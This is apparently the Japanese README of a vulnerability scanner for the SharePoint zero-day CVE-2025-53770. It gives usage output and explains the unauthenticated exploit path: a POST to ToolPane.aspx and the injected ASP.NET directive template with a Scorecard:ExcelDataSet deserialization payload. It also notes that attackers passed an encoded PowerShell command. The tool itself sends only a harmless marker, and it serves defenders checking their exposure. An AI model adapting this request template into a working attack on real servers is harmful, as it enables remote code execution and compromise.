
SharePoint CVE-2025-53770 RCEゼロデイ脆弱性のスキャナー (hazcod/CVE-2025-53770からのフォーク)
これは、SharePointの認証なしリモートコード実行脆弱性(CVE-2025-53770)のスキャナーです。 このコードは、実際の攻撃で観測されたペイロードをリバースエンジニアリングして作成されました。
自己責任で使用してください。本ツールによって生じたいかなる悪影響についても、私は責任を負いません。
SharePointのToolBoxウィジェットにマーカーを注入することで、脆弱性の悪用を試みます。 SharePointサーバーの応答にこの無害なマーカーが含まれている場合、そのホストは脆弱と判定されます。
# check if <TARGET-HOSTNAME> is vulnerable and try extract version information
% ./CVE-2025-53770 [<TARGET-HOSTNAME> ...]
INFO[0000] set log level fields.level=info
INFO[0000] starting scanner targets=1
INFO[0001] detected SharePoint version target=<REDACTED> version="MicrosoftSharePointTeamServices: 16.0.0.5469\n"
WARN[0001] target is vulnerable target=<REDACTED>
# turn on debug logging and try retrieving SharePoint version information
% ./CVE-2025-53770 -log=debug -version <TARGET-HOSTNAME>
...
KB5002768およびKB5002754が適用されていない、オンプレミス版のSharePointサーバーを実行しているすべての環境。
この脆弱性は、以前に公開されたSharePointの脆弱性CVE-2025-49706を基にしていると考えられます。
GZIP圧縮され、BASE64エンコードされたペイロードを含むHTTP POSTリクエストをhttps://<TARGET>/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspxに送信することで、SharePointランタイムプロセスとしてリモートコード実行を達成できます。
ここでは2つのフォームパラメータが重要です:
MSOTlPn_Uri: コントロールソースパスこれは正当なSharePointコントロール(AclEditor.ascx)を参照しているように見せかけ、SharePointにWebパーツの編集を許可させます。
これは検証を通過するためのモック/偽の値と思われます。
元の悪意のあるペイロードにはMSOTlPn_Uri=https://<TARGET>%s/_controltemplates/15/AclEditor.ascxが含まれていますが、現時点では使用されていないようです。
MSOTlPn_DWP: Web部分構成このパラメータは、カスタムASP.NETディレクティブ(<%@ Register %>)とサーバーサイドマークアップ(<Scorecard:ExcelDataSet>)を注入します。
CompressedDataTableパラメータは、攻撃者が制御するシリアル化データ(GZIP + base64)を保持し、RCEを引き起こします。
このペイロードは以下の構造に従います:
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="<PAYLOAD-GZIPPED-BASE64-ENCODED>" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet>
</div>
</ProgressTemplate>
</asp:UpdateProgress>
Scorecard:ExcelDataSetのようなコントロールが存在し、そのCompressedDataTableプロパティが設定されている場合、SharePoint DWPパーサーによって直接逆シリアル化されます。
ペイロード自体はかなり興味深く、System.DelegateSerializationHolderを含むことができ、これが逆シリアル化RCEを引き起こします。
脅威アクターはこれを悪用し、ペイロード内で/c powershell -EncodedCommand <POWERSHELL-PAYLOAD>を渡してコード実行を達成しました。
我々の場合は、実証可能性を示すために静的なプレースホルダーを渡すだけです。
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
<foo>
<bar diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
<poc xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<TestWrapper>
<Info>This is a harmless CVE-2025-53770 PoC marker.</Info>
<Timestamp>2025-07-21T14:04:52Z</Timestamp>
</TestWrapper>
</poc>
</bar>
</foo>
</diffgr:diffgram>